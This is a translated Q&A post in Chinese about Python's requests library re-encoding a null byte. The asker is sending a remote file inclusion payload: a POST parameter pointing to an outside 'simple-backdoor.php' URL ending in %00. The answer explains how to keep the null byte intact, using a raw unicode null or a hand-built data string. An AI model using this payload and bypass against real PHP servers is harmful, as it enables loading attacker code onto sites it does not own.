如果不需要,请求将对POST参数进行编码

时间:2014-03-16 16:19:10

标签: python python-requests

请注意,以下代码段用于在受控环境中进行远程文件包含攻击(此处不做任何恶意操作)。

我正在尝试对网址发布请求:

resp = requests.post("http://example.com/test/index.php",data=post_data,cookies=cookie,proxies=proxies,config={'encode_uri': False})

其中一个数据参数是一个用于文件包含的url,最后它有一个nullbyte:

http://mysite.org/simple-backdoor.php%00

但请求正在做的是在最后重新编码nullbyte,使其无用

http%3A%2F%2Fmysite.org%2Fsimple-backdoor.php%2500

我尝试追加config={'encode_uri': False}),但这会导致相同的行为。有没有人知道如何禁用这种编码或如何引入一个被编码为%00的nullbyte字符?

1 个答案:

答案 0 :(得分:1)

请求v2.0.0以后没有(因此尊重)encode_uriIt tries to encode data if data isn't a string

使用unicode null-byte而不是%00,或手动编码data的每个组件并将data形成为字符串。